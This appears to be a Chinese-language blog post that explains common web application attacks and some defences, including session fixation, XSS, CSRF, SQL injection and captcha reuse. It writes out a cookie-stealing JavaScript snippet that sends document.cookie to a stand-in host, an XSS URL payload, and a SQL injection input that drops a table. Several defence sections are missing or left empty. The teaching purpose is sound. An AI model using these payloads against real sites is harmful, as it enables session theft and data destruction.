你的应用安全吗?应用安全问题知多少?
安全问题的本质是信任的问题
比如启停tomcat用户要非root用户,是我们信任linux的用户权限机制,即使tomcat被攻破,但也无法获取root用户权限。
比如我们对数据进行aes加密,是对aes算法的信任。
所有的安全都是基于一定的信任体系去构建,也说明安全本身是一个持续的过程,比如aes算法不再安全,就需要我们重新去构建安全。
所以安全不是一劳永逸的,而是持续的过程。
接下来给大家分享一些安全的攻击手段和防御手段,供大家参考。
描述
为用户定制SessionID
攻击手段
攻击者X先获取一个未经认证的SessionID,
再把应用url带上该SessionId(http://www.xxx.com/index;jsessionid=1pjztz08i2u4i)交给用户Y去认证,
用户Y完成认证后,接下来攻击者X直接凭借当前的SessionID(1pjztz08i2u4i),以Y的身份进行操作。
防御手段
登陆成功后,更新用户的sessionID,旧的失效。
描述
一直访问,让Session一直有效,可以一直越权访问;
攻击手段
攻击者获取用户的sessionID后,用程序一直访问应用,让该sessionID不超时,使得该sessionID一直保持有效。
防御手段
强制销毁Session,比如1天或者1小时后强制Session过期。
描述
盗取用户的cookie信息
攻击手段
var img =document.createElement("img");
img.src=“http://www.aaa.com/log?”
+escape(document.cookie);
document.body.appendChild(img);
www.aaa.com服务器将会收到用户的cookie信息
描述
XSS跨站脚本攻击,恶意web用户将代码植入到提供给其他用户使用的页面中。
攻击手段
比如通过管理端的一些输入框,富文本编辑框,输入攻击代码,保存,再在别的页面显示的时候执行代码。
前面提到的cookie盗取,就是一种xss攻击,
还可以控制受害者机器向其它网站攻击。
http://site/index.html?name=<script>alert(document.cookie)</script>
描述
一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法
攻击手段
用户登陆成功后,诱使用户执行http://site/user.html?m=delete&id=1234;比如通过qq发送连接,用户点击后,
在用户不知情下执行了delete操作。
防御手段
涉及数据变更的业务都增加Token值,验证码,Referer保护。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
描述
Sql语句的注入攻击;
攻击手段
--查询功能:
Select * from user where name=‘”+key+” ‘”;
--攻击者输入’;drop table user;--
直接删除user表。
描述
攻击者对密码尝试暴力破解
攻击手段
攻击者通过程序代码不断组合密码尝试登陆或者交易
防御手段
描述
图形验证码或者短信验证码未及时清除,导致安全问题
攻击手段
如果比对过的验证码未及时清除,一直使用同一个验证码,容易让攻击者进行暴力访问破解
防御手段
使用过的验证码不管验证通过和不通过,都要及时清除验证码;
还是经常会遇到这样的逻辑漏洞,加入分享当中。
今天先分享这几个安全问题,下期继续。
安全的问题,很多内部的管理台应用非常不重视,觉得是内网的应用安全不需要,夸张点的连登录密码都是完全明文的。
只能说没安全问题大家都好,出了安全问题有时候连后悔的机会都没了。
请重视安全的问题!